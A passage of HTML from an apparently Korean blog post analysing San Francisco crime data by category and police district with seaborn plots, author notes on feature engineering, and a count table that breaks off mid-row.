&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;&amp;lt;matplotlib.axes._subplots.AxesSubplot at 0x114f939b0&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;output_56_1.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9jmhU/btqzPmn24Pu/LLp93DLOHyiUhDd04ketqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9jmhU/btqzPmn24Pu/LLp93DLOHyiUhDd04ketqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9jmhU/btqzPmn24Pu/LLp93DLOHyiUhDd04ketqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9jmhU%2FbtqzPmn24Pu%2FLLp93DLOHyiUhDd04ketqK%2Fimg.png&quot; data-filename=&quot;output_56_1.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;haskell&quot;&gt;&lt;code&gt;sns.lmplot(x=&quot;X&quot;, y=&quot;Y&quot;, hue=&quot;PdDistrict&quot;, 
           data=non_outliers, fit_reg=False)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;&amp;lt;seaborn.axisgrid.FacetGrid at 0x114c1a3c8&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;output_57_1.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JhxcG/btqzPwcUhN2/uL1d58oxc7hbMGexyg3oU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JhxcG/btqzPwcUhN2/uL1d58oxc7hbMGexyg3oU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JhxcG/btqzPwcUhN2/uL1d58oxc7hbMGexyg3oU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJhxcG%2FbtqzPwcUhN2%2FuL1d58oxc7hbMGexyg3oU1%2Fimg.png&quot; data-filename=&quot;output_57_1.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3&gt;Category와 PdDistrict 관계 확인&lt;/h3&gt;
&lt;h4&gt;1. 첫번째 방법&lt;/h4&gt;
&lt;pre class=&quot;maxima&quot;&gt;&lt;code&gt;# 다수개의 차트를 같이 표현하는 방법
figure, axes = plt.subplots(nrows=10, ncols=4)

# 각 차트의 사이즈 지정
figure.set_size_inches(40, 48)

category_list = non_outliers[&quot;Category&quot;].value_counts().index

# 반복문 수행
for row in range(10):
    for col in range(4):
        index = row * 4 + col #category의 개수가 39개

        if index &amp;lt; len(category_list):
            ax = axes[row][col]
            category = category_list[index]
            #print(row, col, index, category)

            target = non_outliers[non_outliers[&quot;Category&quot;] == category]
            sns.countplot(y=&quot;PdDistrict&quot;, data=target, ax=ax)
            ax.set(ylabel = category)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;output_60_0.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3u7NF/btqzOmWQumo/HByRwYeVXwH2O8TZS21cS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3u7NF/btqzOmWQumo/HByRwYeVXwH2O8TZS21cS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3u7NF/btqzOmWQumo/HByRwYeVXwH2O8TZS21cS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3u7NF%2FbtqzOmWQumo%2FHByRwYeVXwH2O8TZS21cS0%2Fimg.png&quot; data-filename=&quot;output_60_0.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;code&gt;feadback&lt;/code&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;관할 경찰서가 곧 지역을 상징하므로, 범죄가 많이 발생하는 지역에 범죄 발생빈도가 몰릴 것 같다.
&lt;ul&gt;
&lt;li&gt;범죄 발생 빈도가 SOUTHERN은 높고, PARK와 RICHMOND는 범죄 빈도가 낮은 편이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;범죄의 종류에 따라 특정 지역에서 자주 발생하는 범죄가 있을 것이다.&lt;/li&gt;
&lt;li&gt;관할 경찰서가 범죄를 예측하는 모델을 개선하는데 효과가 클 것 같다.
&lt;ul&gt;
&lt;li&gt;PdDistrict를 one-hot encoding해서 모델에 집어넣는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;관할 경찰서라도 결국에는 지역 데이터를 상징한다. 그러므로 다른 지역 데이터인 주소, 좌표와 엮어줄 수 있는 방법이 있다면 모델의 성능을 개선하는데 큰 도움이 될 것 같다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;2. 두번째 방법&lt;/h4&gt;
&lt;pre class=&quot;nix&quot;&gt;&lt;code&gt;# 범죄 발생빈도가 높은 상위 10개 범죄 데이터
top10_category = non_outliers[&quot;Category&quot;].value_counts().index[:10]
df_top10_category = non_outliers.loc[non_outliers[&quot;Category&quot;].isin(top10_category)]

sns.catplot(data=df_top10_category, y=&quot;PdDistrict&quot;, 
            col=&quot;Category&quot;, col_wrap=5, kind=&quot;count&quot;,
           order=non_outliers[&quot;PdDistrict&quot;].value_counts().index)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;&amp;lt;seaborn.axisgrid.FacetGrid at 0x15e142be0&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&amp;nbsp;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;output_63_1.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cLIxd4/btqzP3O5Rng/1YOnXdmOyn27DjGK01q6Jk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cLIxd4/btqzP3O5Rng/1YOnXdmOyn27DjGK01q6Jk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cLIxd4/btqzP3O5Rng/1YOnXdmOyn27DjGK01q6Jk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcLIxd4%2FbtqzP3O5Rng%2F1YOnXdmOyn27DjGK01q6Jk%2Fimg.png&quot; data-filename=&quot;output_63_1.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h4&gt;3. 세번째 방법&lt;/h4&gt;
&lt;pre class=&quot;prolog&quot;&gt;&lt;code&gt;groups2 = non_outliers.groupby(['Category', 'PdDistrict'])['PdDistrict'].count()
groups2&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;Category     PdDistrict
ARSON        BAYVIEW        393
             CENTRAL        111
             INGLESIDE      182
             MISSION        145
             NORTHERN       149
                           ... 
WEAPON LAWS  PARK           357
             RICHMOND       327
             SOUTHERN      1128
             TARAVAL        567
             TENDERLOIN     794
Name: PdDistrict, Length: 382, dtype: int64&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;autohotkey&quot;&gt;&lt;code&gt;ca_pdDistrict = groups2.unstack(fill_value=0.0)
ca_pdDistrict&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;table class=&quot;dataframe&quot; border=&quot;1&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;text-align: right;&quot;&gt;
&lt;th&gt;PdDistrict&lt;/th&gt;
&lt;th&gt;BAYVIEW&lt;/th&gt;
&lt;th&gt;CENTRAL&lt;/th&gt;
&lt;th&gt;INGLESIDE&lt;/th&gt;
&lt;th&gt;MISSION&lt;/th&gt;
&lt;th&gt;NORTHERN&lt;/th&gt;
&lt;th&gt;PARK&lt;/th&gt;
&lt;th&gt;RICHMOND&lt;/th&gt;
&lt;th&gt;SOUTHERN&lt;/th&gt;
&lt;th&gt;TARAVAL&lt;/th&gt;
&lt;th&gt;TENDERLOIN&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ARSON&lt;/td&gt;
&lt;td&gt;393.0&lt;/td&gt;
&lt;td&gt;111.0&lt;/td&gt;
&lt;td&gt;182.0&lt;/td&gt;
&lt;td&gt;145.0&lt;/td&gt;
&lt;td&gt;149.0&lt;/td&gt;
&lt;td&gt;65.0&lt;/td&gt;
&lt;td&gt;103.0&lt;/td&gt;
&lt;td&gt;185.0&lt;/td&gt;
&lt;td&gt;120.0&lt;/td&gt;
&lt;td&gt;60.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ASSAULT&lt;/td&gt;
&lt;td&gt;9855.0&lt;/td&gt;
&lt;td&gt;6977.0&lt;/td&gt;
&lt;td&gt;8532.0&lt;/td&gt;
&lt;td&gt;11149.0&lt;/td&gt;
&lt;td&gt;8318.0&lt;/td&gt;
&lt;td&gt;3515.0&lt;/td&gt;
&lt;td&gt;3202.0&lt;/td&gt;
&lt;td&gt;12183.0&lt;/td&gt;
&lt;td&gt;5463.0&lt;/td&gt;
&lt;td&gt;7678.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BAD CHECKS&lt;/td&gt;
&lt;td&gt;34.0&lt;/td&gt;
&lt;td&gt;65.0&lt;/td&gt;
&lt;td&gt;32.0&lt;/td&gt;
&lt;td&gt;46.0&lt;/td&gt;
&lt;td&gt;54.0&lt;/td&gt;
&lt;td&gt;15.0&lt;/td&gt;
&lt;td&gt;31.0&lt;/td&gt;
&lt;td&gt;74.0&lt;/td&gt;
&lt;td&gt;36.0&lt;/td&gt;
&lt;td&gt;19.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BRIBERY&lt;/td&gt;
&lt;td&gt;56.0&lt;/td&gt;
&lt;td&gt;12.0&lt;/td&gt;
&lt;td&gt;53.0&lt;/td&gt;
&lt;td&gt;66.0&lt;/td&gt;
&lt;td&gt;18.0&lt;/td&gt;
&lt;td&gt;7.0&lt;/td&gt;
&lt;td&gt;8.0&lt;/td&gt;
&lt;td&gt;37.0&lt;/td&gt;
&lt;td&gt;17.0&lt;/td&gt;
&lt;td&gt;15.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BURGLARY&lt;/td&gt;
&lt;td&gt;3929.0&lt;/td&gt;
&lt;td&gt;4519.0&lt;/td&gt;
&lt;td&gt;3331.0&lt;/td&gt;
&lt;td&gt;3745.0&lt;/td&gt;
&lt;td&gt;5854.0&lt;/td&gt;
&lt;td&gt;2888.0&lt;/td&gt;
&lt;td&gt;2696.0&lt;/td&gt;
&lt;td&gt;4841.0&lt;/td&gt;
&lt;td&gt;3463.0&lt;/td&gt;
&lt;td&gt;1488.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DISORDERLY CONDUCT&lt;/td&gt;
&lt;td&gt;219.0&lt;/td&gt;
&lt;td&gt;494.0&lt;/td&gt;
&lt;td&gt;171.0&lt;/td&gt;
&lt;td&gt;1099.0&lt;/td&gt;
&lt;td&gt;450.0&lt;/td&gt;
&lt;td&gt;271.0&lt;/td&gt;
&lt;td&gt;108.0&lt;/td&gt;
&lt;td&gt;511.0&lt;/td&gt;
&lt;td&gt;162.0&lt;/td&gt;
&lt;td&gt;833.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DRIVING UNDER THE INFLUENCE&lt;/td&gt;
&lt;td&gt;179.0&lt;/td&gt;
&lt;td&gt;160.0&lt;/td&gt;
&lt;td&gt;206.0&lt;/td&gt;
&lt;td&gt;357.0&lt;/td&gt;
&lt;td&gt;260.0&lt;/td&gt;
&lt;td&gt;176.0&lt;/td&gt;
&lt;td&gt;319.0&lt;/td&gt;
&lt;td&gt;306.0&lt;/td&gt;
&lt;td&gt;202.0&lt;/td&gt;
&lt;td&gt;103.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DRUG/NARCOTIC&lt;/td&gt;
&lt;td&gt;4498.0&lt;/td&gt;
&lt;td&gt;1805.0&lt;/td&gt;
&lt;td&gt;2373.0&lt;/td&gt;
&lt;td&gt;8757.0&lt;/td&gt;
&lt;td&gt;4511.0&lt;/td&gt;
&lt;td&gt;2573.0&lt;/td&gt;
&lt;td&gt;999.0&lt;/td&gt;
&lt;td&gt;9228.0&lt;/td&gt;
&lt;td&gt;1531.0&lt;/td&gt;
&lt;td&gt;17696.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DRUNKENNESS&lt;/td&gt;
&lt;td&gt;243.0&lt;/td&gt;
&lt;td&gt;517.0&lt;/td&gt;
&lt;td&gt;190.0&lt;/td&gt;
&lt;td&gt;782.0&lt;/td&gt;
&lt;td&gt;368.0&lt;/td&gt;
&lt;td&gt;374.0&lt;/td&gt;
&lt;td&gt;149.0&lt;/td&gt;
&lt;td&gt;959.0&lt;/td&gt;
&lt;td&gt;259.0&lt;/td&gt;
&lt;td&gt;439.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EMBEZZLEMENT&lt;/td&gt;
&lt;td&gt;100.0&lt;/td&gt;
&lt;td&gt;180.0&lt;/td&gt;
&lt;td&gt;78.0&lt;/td&gt;
&lt;td&gt;124.0&lt;/td&gt;
&lt;td&gt;131.0&lt;/td&gt;
&lt;td&gt;50.0&lt;/td&gt;
&lt;td&gt;43.0&lt;/td&gt;
&lt;td&gt;275.0&lt;/td&gt;
&lt;td&gt;94.0&lt;/td&gt;
&lt;td&gt;91.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EXTORTION&lt;/td&gt;
&lt;td&gt;13.0&lt;/td&gt;
&lt;td&gt;51.0&lt;/td&gt;
&lt;td&gt;29.0&lt;/td&gt;
&lt;td&gt;26.0&lt;/td&gt;
&lt;td&gt;24.0&lt;/td&gt;
&lt;td&gt;8.0&lt;/td&gt;
&lt;td&gt;23.0&lt;/td&gt;
&lt;td&gt;38.0&lt;/td&gt;
&lt;td&gt;36.0&lt;/td&gt;
&lt;td&gt;8.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FAMILY OFFENSES&lt;/td&gt;
&lt;td&gt;73.0&lt;/td&gt;
&lt;td&gt;28.0&lt;/td&gt;
&lt;td&gt;71.0&lt;/td&gt;
&lt;td&gt;142.0&lt;/td&gt;
&lt;td&gt;12.0&lt;/td&gt;
&lt;td&gt;26.0&lt;/td&gt;
&lt;td&gt;23.0&lt;/td&gt;
&lt;td&gt;42.0&lt;/td&gt;
&lt;td&gt;35.0&lt;/td&gt;
&lt;td&gt;39.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FORGERY/COUNTERFEITING&lt;/td&gt;
&lt;td&gt;774.0&lt;/td&gt;
&lt;td&gt;1144.0&lt;/td&gt;
&lt;td&gt;977.0&lt;/td&gt;
&lt;td&gt;1281.0&lt;/td&gt;
&lt;td&gt;1292.0&lt;/td&gt;
&lt;td&gt;518.0&lt;/td&gt;
&lt;td&gt;619.0&lt;/td&gt;
&lt;td&gt;2345.0&lt;/td&gt;
&lt;td&gt;1097.0&lt;/td&gt;
&lt;td&gt;562.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FRAUD&lt;/td&gt;
&lt;td&gt;866.0&lt;/td&gt;
&lt;td&gt;2344.0&lt;/td&gt;
&lt;td&gt;1213.0&lt;/td&gt;
&lt;td&gt;1970.0&lt;/td&gt;
&lt;td&gt;2055.0&lt;/td&gt;
&lt;td&gt;974.0&lt;/td&gt;
&lt;td&gt;1137.0&lt;/td&gt;
&lt;td&gt;3441.0&lt;/td&gt;
&lt;td&gt;1549.0&lt;/td&gt;
&lt;td&gt;1130.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GAMBLING&lt;/td&gt;
&lt;td&gt;29.0&lt;/td&gt;
&lt;td&gt;31.0&lt;/td&gt;
&lt;td&gt;16.0&lt;/td&gt;
&lt;td&gt;18.0&lt;/td&gt;
&lt;td&gt;10.0&lt;/td&gt;
&lt;td&gt;1.0&lt;/td&gt;
&lt;td&gt;4.0&lt;/td&gt;
&lt;td&gt;17.0&lt;/td&gt;
&lt;td&gt;8.0&lt;/td&gt;
&lt;td&gt;12.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;KIDNAPPING&lt;/td&gt;
&lt;td&gt;313.0&lt;/td&gt;
&lt;td&gt;197.0&lt;/td&gt;
&lt;td&gt;348.0&lt;/td&gt;
&lt;td&gt;312.0&lt;/td&gt;
&lt;td&gt;231.0&lt;/td&gt;
&lt;td&gt;94.0&lt;/td&gt;
&lt;td&gt;104.0&lt;/td&gt;
&lt;td&gt;340.0&lt;/td&gt;
&lt;td&gt;191.0&lt;/td&gt;
&lt;td&gt;211.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LARCENY/THEFT&lt;/td&gt;
&lt;td&gt;10118.0&lt;/td&gt;
&lt;td&gt;25058.0&lt;/td&gt;
&lt;td&gt;10235.0&lt;/td&gt;
&lt;td&gt;18223.0&lt;/td&gt;
&lt;td&gt;28628.0&lt;/td&gt;
&lt;td&gt;9146.0&lt;/td&gt;
&lt;td&gt;9891.0&lt;/td&gt;
&lt;td&gt;41841.0&lt;/td&gt;
&lt;td&gt;11844.0&lt;/td&gt;
&lt;td&gt;9901.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LIQUOR LAWS&lt;/td&gt;
&lt;td&gt;114.0&lt;/td&gt;
&lt;td&gt;141.0&lt;/td&gt;
&lt;td&gt;106.0&lt;/td&gt;
&lt;td&gt;495.0&lt;/td&gt;
&lt;td&gt;124.0&lt;/td&gt;
&lt;td&gt;149.0&lt;/td&gt;
&lt;td&gt;81.0&lt;/td&gt;
&lt;td&gt;385.0&lt;/td&gt;
&lt;td&gt;122.0&lt;/td&gt;
&lt;td&gt;186.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LOITERING&lt;/td&gt;
&lt;td&gt;50.0&lt;/td&gt;
&lt;td&gt;70.0&lt;/td&gt;
&lt;td&gt;26.0&lt;/td&gt;
&lt;td&gt;191.0&lt;/td&gt;
&lt;td&gt;193.0&lt;/td&gt;
&lt;td&gt;23.0&lt;/td&gt;
&lt;td&gt;8.0&lt;/td&gt;
&lt;td&gt;429.0&lt;/td&gt;
&lt;td&gt;34.0&lt;/td&gt;
&lt;td&gt;201.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MISSING PERSON&lt;/td&gt;
&lt;td&gt;5038.0&lt;/td&gt;
&lt;td&gt;1348.0&lt;/td&gt;
&lt;td&gt;3181.0&lt;/td&gt;
&lt;td&gt;3283.0&lt;/td&gt;
&lt;td&gt;1956.0&lt;/td&gt;
&lt;td&gt;2713.0&lt;/td&gt;
&lt;td&gt;1183.0&lt;/td&gt;
&lt;td&gt;3064.0&lt;/td&gt;
&lt;td&gt;3390.0&lt;/td&gt;
&lt;td&gt;833.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NON-CRIMINAL&lt;/td&gt;
&lt;td&gt;6099.0&lt;/td&gt;
&lt;td&gt;10940.0&lt;/td&gt;
&lt;td&gt;6853.0&lt;/td&gt;
&lt;td&gt;12372.0&lt;/td&gt;
&lt;td&gt;10240.0&lt;/td&gt;
&lt;td&gt;5925.0&lt;/td&gt;
&lt;td&gt;5744.0&lt;/td&gt;
&lt;td&gt;19745.0&lt;/td&gt;
&lt;td&gt;6919.0&lt;/td&gt;
&lt;td&gt;7463.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OTHER OFFENSES&lt;/td&gt;
&lt;td&gt;17051.0&lt;/td&gt;
&lt;td&gt;8899.0&lt;/td&gt;
&lt;td&gt;13201.0&lt;/td&gt;
&lt;td&gt;19329.0&lt;/td&gt;
&lt;td&gt;12230.0&lt;/td&gt;
&lt;td&gt;6184.0&lt;/td&gt;
&lt;td&gt;5631.0&lt;/td&gt;
&lt;td&gt;21307.0&lt;/td&gt;
&lt;td&gt;8612.0&lt;/td&gt;
&lt;td&gt;13721.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PORNOGRAPHY/OBSCENE MAT&lt;/td&gt;
&lt;td&gt;2.0&lt;/td&gt;
&lt;td&gt;2.0&lt;/td&gt;
&lt;td&gt;0.0&lt;/td&gt;
&lt;td&gt;3.0&lt;/td&gt;
&lt;td&gt;5.0&lt;/td&gt;
&lt;td&gt;0.0&lt;/td&gt;
&lt;td&gt;1.0&lt;/td&gt;
&lt;td&gt;4.0&lt;/td&gt;
&lt;td&gt;4.0&lt;/td&gt;
&lt;td&gt;1.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PROSTITUTION&lt;/td&gt;
&lt;td&gt;70.0&lt;/td&gt;
&lt;td&gt;778.0&lt;/td&gt;
&lt;td&gt;26.0&lt;/td&gt;
&lt;td&gt;3629.0&lt;/td&gt;
&lt;td&gt;1831.0&lt;/td&gt;
&lt;td&gt;5.0&lt;/td&gt;
&lt;td&gt;24.0&lt;/td&gt;
&lt;td&gt;135.0&lt;/td&gt;
&lt;td&gt;82.0&lt;/td&gt;
&lt;td&gt;904.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RECOVERED VEHICLE&lt;/td&gt;
&lt;td&gt;735.0&lt;/td&gt;
&lt;td&gt;178.0&lt;/td&gt;
&lt;td&gt;662.0&lt;/td&gt;
&lt;td&gt;325.0&lt;/td&gt;
&lt;td&gt;273.0&lt;/td&gt;
&lt;td&gt;117.0&lt;/td&gt;
&lt;td&gt;125.0&lt;/td&gt;
&lt;td&gt;326.0&lt;/td&gt;
&lt;td&gt;262.0&lt;/td&gt;
&lt;td&gt;135.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ROBBERY&lt;/td&gt;
&lt;td&gt;2714.0&lt;/td&gt;
&lt;td&gt;1999.0&lt;/td&gt;
&lt;td&gt;2788.0&lt;/td&gt;
&lt;td&gt;3629.0&lt;/td&gt;
&lt;td&gt;2640.0&lt;/td&gt;
&lt;td&gt;957.0&lt;/td&gt;
&lt;td&gt;787.0&lt;/td&gt;
&lt;td&gt;3878.0&lt;/td&gt;
&lt;td&gt;1405.0&lt;/td&gt;
&lt;td&gt;2202.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RUNAWAY&lt;/td&gt;
&lt;td&gt;265.0&lt;/td&gt;
&lt;td&gt;43.0&lt;/td&gt;
&lt;td&gt;148.0&lt;/td&gt;
&lt;td&gt;298.0&lt;/td&gt;
&lt;td&gt;88.0&lt;/td&gt;
&lt;td&gt;485.0&lt;/td&gt;
&lt;td&gt;94.0&lt;/td&gt;
&lt;td&gt;108.0&lt;/td&gt;
&lt;td&gt;408.0&lt;/td&gt;
&lt;td&gt;9.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SECONDARY CODES&lt;/td&gt;
&lt;td&gt;1662.0&lt;/td&gt;
&lt;td&gt;704.0&lt;/td&gt;
&lt;td&gt;1300.0&lt;/td&gt;
&lt;td&gt;1439.0&lt;/td&gt;
&lt;td&gt;999.0&lt;/td&gt;
&lt;td&gt;444.0&lt;/td&gt;
&lt;td&gt;525.0&lt;/td&gt;
&lt;td&gt;1205.0&lt;/td&gt;
&lt;td&gt;983.0&lt;/td&gt;
&lt;td&gt;724.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SEX OFFENSES FORCIBLE&lt;/td&gt;
&lt;td&gt;387.0&lt;/td&gt;
&lt;td&gt;394.0&lt;/td&gt;
&lt;td&gt;504.0&lt;/td&gt;
&lt;td&gt;718.0&lt;/td&gt;
&lt;td&gt;435.0&lt;/td&gt;
&lt;td&gt;212.0&lt;/td&gt;
&lt;td&gt;216.0&lt;/td&gt;
&lt;td&gt;818.0&lt;/td&gt;
&lt;td&gt;383.0&lt;/td&gt;
&lt;td&gt;320.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SEX OFFENSES NON FORCIBLE&lt;/td&gt;
&lt;td&gt;22.0&lt;/td&gt;
&lt;td&gt;7.0&lt;/td&gt;
&lt;td&gt;22.0&lt;/td&gt;
&lt;td&gt;35.0&lt;/td&gt;
&lt;td&gt;9.0&lt;/td&gt;
&lt;td&gt;6.0&lt;/td&gt;
&lt;td&gt;10.0&lt;/td&gt;
&lt;td&gt;17.0&lt;/td&gt;
&lt;td&gt;15.0&lt;/td&gt;
&lt;td&gt;5.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;STOLEN PROPERTY&lt;/td&gt;
&lt;td&gt;397.0&lt;/td&gt;
&lt;td&gt;510.0&lt;/td&gt;
&lt;td&gt;347.0&lt;/td&gt;
&lt;td&gt;631.0&lt;/td&gt;
&lt;td&gt;699.0&lt;/td&gt;
&lt;td&gt;175.0&lt;/td&gt;
&lt;td&gt;206.0&lt;/td&gt;
&lt;td&gt;1007.0&lt;/td&gt;
&lt;td&gt;231.0&lt;/td&gt;
&lt;td&gt;336.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SUICIDE&lt;/td&gt;
&lt;td&gt;37.0&lt;/td&gt;
&lt;td&gt;60.0&lt;/td&gt;
&lt;td&gt;65.0&lt;/td&gt;
&lt;td&gt;72.0&lt;/td&gt;
&lt;td&gt;67.0&lt;/td&gt;
&lt;td&gt;20.0&lt;/td&gt;
&lt;td&gt;42.0&lt;/td&gt;
&lt;td&gt;59.0&lt;/td&gt;
&lt;td&gt;59.0&lt;/td&gt;
&lt;td&gt;27.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SUSPICIOUS OCC&lt;/td&gt;
&lt;td&gt;3905.0&lt;/td&gt;
&lt;td&gt;2841.0&lt;/td&gt;
&lt;td&gt;3167.0&lt;/td&gt;
&lt;td&gt;3808.0&lt;/td&gt;
&lt;td&gt;3270.0&lt;/td&gt;
&lt;td&gt;1656.0&lt;/td&gt;
&lt;td&gt;2191.0&lt;/td&gt;
&lt;td&gt;5065.0&lt;/td&gt;
&lt;td&gt;2996.0&lt;/td&gt;
&lt;td&gt;2513.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TREA&lt;/td&gt;
&lt;td&gt;3.0&lt;/td&gt;
&lt;td&gt;1.0&lt;/td&gt;
&lt;td&gt;0.0&lt;/td&gt;
&lt;td&gt;1.0&lt;/td&gt;
&lt;td&gt;1.0&lt;/td&gt;
&lt;td&gt;0.0&lt;/td&gt;
&lt;td&gt;0.0&lt;/td&gt;
&lt;td&gt;0.0&lt;/td&gt;
&lt;td&gt;0.0&lt;/td&gt;
&lt;td&gt;0.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TRESPASS&lt;/td&gt;
&lt;td&gt;636.0&lt;/td&gt;
&lt;td&gt;904.0&lt;/td&gt;
&lt;td&gt;416.0&lt;/td&gt;
&lt;td&gt;1021.0&lt;/td&gt;
